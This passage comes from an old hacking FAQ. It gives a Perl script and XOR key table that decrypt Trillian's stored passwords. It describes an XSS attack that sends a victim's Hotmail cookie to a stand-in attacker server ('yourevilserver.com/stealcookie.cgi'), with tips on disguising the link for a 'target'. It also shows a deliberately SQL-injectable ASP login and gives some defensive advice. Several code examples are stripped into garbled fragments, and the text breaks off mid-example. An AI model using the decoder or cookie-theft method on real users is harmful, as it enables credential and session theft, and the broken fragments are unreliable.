Encrypted password so far: A3
Go on to 2nd character...and so on...
Hopefully, you can now see how trivial it is to get the rest of the xor key numbers and how to decrypt the passwords once you have the xor key. Let me save you some time...the xor key numbers for each char are (in order):
243, 038, 129, 196, 057, 134, 219, 146, 113, 163, 185, 230, 083, 122, 149, 124, 000, 000, 000, 000, 000, 000, 255, 000, 000, 128, 000, 000, 000, 128, 128, 000, 255, 000, 000, 000, 128, 000, 128, 000, 128, 128, 000, 000, 000, 128, 255, 000, 128, 000, 255, 000, 128, 128, 128, 000, 085, 110, 097, 098, 108, 101, 032, 116, 111, 032, 114, 101, 115, 111, 108, 118, 101, 032, 072, 084, 084, 080, 032, 112, 114, 111, 120, 000
As most passwords are usually 5-10 letters/numbers long, you will rarely need to use even a quarter of those xor keys. And just to help clarify...here is a perl script I have written which will decrypt an encrypted trillian password:
#!/usr/bin/perl
#################
# Trillian Password Decoder - Wang (wang@most-wanted.com)
# written for hack faq Volume 9 (faqs.wangproducts.net)
#################
# Uncomment if you are running as a cgi
#print "Content-type: text/htmlnn";
$encrypted = "A347F2B74EE9A9F6"; # put your encrypted password here!
$xorkeys = "243, 038, 129, 196, 057, 134, 219, 146, 113, 163, 185, 230, 083, 122, 149, 124, 000, 000, 000, 000, 000, 000, 255, 000, 000, 128, 000, 000, 000, 128, 128, 000, 255, 000, 000, 000, 128, 000, 128, 000, 128, 128, 000, 000, 000, 128, 255, 000, 128, 000, 255, 000, 128, 128, 128, 000, 085, 110, 097, 098, 108, 101, 032, 116, 111, 032, 114, 101, 115, 111, 108, 118, 101, 032, 072, 084, 084, 080, 032, 112, 114, 111, 120, 000";
$pointer = 0;
@keys = split(/, /, $xorkeys);
print "Decrypted Password: ";
foreach $key (@keys)
{
$passchar = chr(hex(substr($encrypted, $pointer, 2)) ^ $key);
print "$passchar";
last if ($pointer == length($encrypted) - 2);
$pointer += 2;
}
exit;
--------------------------------------------------------------------------------
What is Cross Site Scripting (css/xss) ?
Ok, firstly - cross site scripting is commonly referred to as xss or css - but please do not get it mixed up with the cascading style sheets (used in web pages, and also referred to by the abbreviation css). I am covering this topic, because although a lot of people have heard of it, usually from the term being mentioned in security/vulnerability advisories, there is definitely a lack of understanding when it comes to what it actually is, and why it occurs. This was a requested topic via the Hack Faq form and I decided that it would be worth covering due to it being a major cause of security vulnerabilities at the moment.
Cross site scripting, in a way, took a lot of major sites (Ebay, Google, all sites running phpnuke) and software developers by surprise when it emerged as a common flaw...and there are millions cross site scripting flaws still out there, and many new one's being created every day! To understand what cross site scripting (xss) is, we need to look at what makes it possible. xss affects two things:
Web browsers (such as Internet Explorer, Netscape, Mozilla, Opera)
Web servers that dynamically generate pages based on unvalidated input (most web servers)
Most web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. By this, we mean languages such as javascript (and also Java, VBScript, ActiveX, Flash, etc) which can be embedded in a standard html page, for example:
My page
Welcome to my page on the web.
The javascript code embedded in the ">Click here
All you see (if you don't look closely at the link before clicking) are the words "Click here". So, say you clicked there....the url takes you to www.someserver.com and includes the rouge javascript code in the url string - which is passed into their postmessage.cgi script. Now, if the web server sends back any page to the user which includes the value of "msg" which you submitted to the server by clicking the link - the rouge code will be sent back to your browser, which (as we earlier determined) will execute it since it thinks it's code embedded in the body of the html file. What's just happened? put simply - the person that sent you the link, has just made you execute any code they wanted you to. A hyperlink (as we have seen above) is a common way for this kind of attack to be executed, since it is easy for the attacker to use some form of url encoding to make the link you click on not so obviously malicious.
A similar, yet more devious attack can also be executed via the hyperlink technique, using a link like so:
Click here
Note the SRC attribute in the
If our "target" visited that link, they would be taken to the vulnerablescript.cgi on the hotmail server - which would then read in the "variable" from the query string...which of course contains our xss javascript code. The javascript would then access the script http://yourevilserver.com/cgi-bin/stealcookie.cgi on your server with your hotmail cookie in the query string. Since your stealcookie.cgi is logging the querystring on every request sent to it - you should then find our target's hotmail cookie sitting in your log. The next step would be to url encode (probably using hex encoding) the URL a bit, so that it's not so blatantly obvious what the link does, although this isn't 100% necessary - just depends how dumb your target is. The last step is to make the target visit that URL....which can be done in a zillion ways depending on how crafty you are - but more than likely you will just send them the hyperlink through the email like we mentioned earlier.
Ok, now lets thing of xss from the other point of view - how do you prevent being exploited by it? If you are a coder or the webmaster of a site, the answer is simple - never trust user input! Always filter metacharacters and ensure that unwanted chars are removed from user input before proceeding to process/output the data. Filtering/replacing the chars < and > can go along way to prevent xss flaws cropping up - but also chars like ( and ) and # and & should be filtered or replaced. From a user point of view...never trust links from people you don't know - and try to ensure that you only follow links from the main site you want to view. Don't click on a link to hotmail from another site, always go to hotmail yourself etc. It's tough, but these measures would protect you from most xss flaws. You should also consider turning off javascript in your web browser (which prevents javascript being used as the injected code, which is common) and set your IE settings to high if you use Internet Explorer. A friend of mine who proof-read this volume also suggested - "By enforcing the Characterset for the web page (along with other security mechanisms), you can effectively do input validation through the automatic escaping of characters not found in the specified set. This is useful in mitigating damage until proper input validation and testing can take place." - so there are a few things you can do to make yourself safer.
I have also been recommended the following links, which you should check out if you want to read further into this topic:
Web Application Security (XSS and SQL Injection) - http://www.cgisecurity.com/lib/web_security.pdf
Cross Site Scripting (XSS) FAQ - http://www.cgisecurity.com/articles/xss-faq.shtml
--------------------------------------------------------------------------------
Problems with user input in scripting languages using databases (SQL statements)
A number of web site are hacked as a result of something called "user input validation/filtering" - or, to be more precise - the lack of it. This topic should be a guide to web programmers (any language, php, asp, perl etc - but we will focus on php/asp examples) on how to safely deal with user input. I will also be talking about why this important, and giving examples of how sites that don't successfully filter user input can have accounts on the server compromised, or worse. I am not going to be explaining the SQL/php/asp code in much detail...so a basic knowledge of these languages will help you understand this topic a bit better ;)
Firstly, what is the root cause of the problem? Is it the php/asp programming languages? is it the database backend (whether it be mysql, sql server, access db, etc)? no...the problem lies with the programmer of the site, and the users visiting the site. The problem is that when you have a form on your web site, whether it be a login form (asking for a username/password) or a comments form, or anything - you are asking the user to send information into scripts on your web site. Although 18/20 users might use the form in the intended way - there will always be 1 or 2 malicious users who will send your scripts data they didn't expect. The moral of the story is - you simply can't trust unchecked user input. However, let's not take my word for it...let's look at a simple login form in asp, which takes a username/password and validates them against a table called "users" in an access database (my comments are in green in the asp/php code):
Html Code:
Please Login
ASP Code for "logmein.asp" (where the html form sends it's data):
<%
' get the username and password from the html form
User = Request.Form("username")
Pass = Request.Form("password")
' open a connection to the database
' I am using a DSN called mydatabase to make connecting a little simpler
Set Conn = server.CreateObject ("ADODB.Connection")
Conn.Open "mydatabase"
' here is the SQL statement to select the user's password from the database for comparing
SQL = "SELECT * FROM Users WHERE Username = '" & User & "' AND Password = '" & Pass & "'"
' make our database connection execute the query and store the results in the recordset rs
Set rs = Conn.Execute(SQL)
' if the username/password combo was found in the database then...
if not rs.EOF Then
' log the user in by setting the login session to "Yes" - this is how we identify logged in users
Session("login") = "Yes"
Conn.Close
' redirect the logged in user to the members page
Response.Redirect("memberpage.asp")
else
' the username/password didn't match! redirect them to the login screen again
Conn.Close
Response.Redirect("login.html")
end if
%>
And for reference...the PHP equivalent code for "logmein.asp" (where the html form sends it's data):
Unable to connect to DB server at this time
|
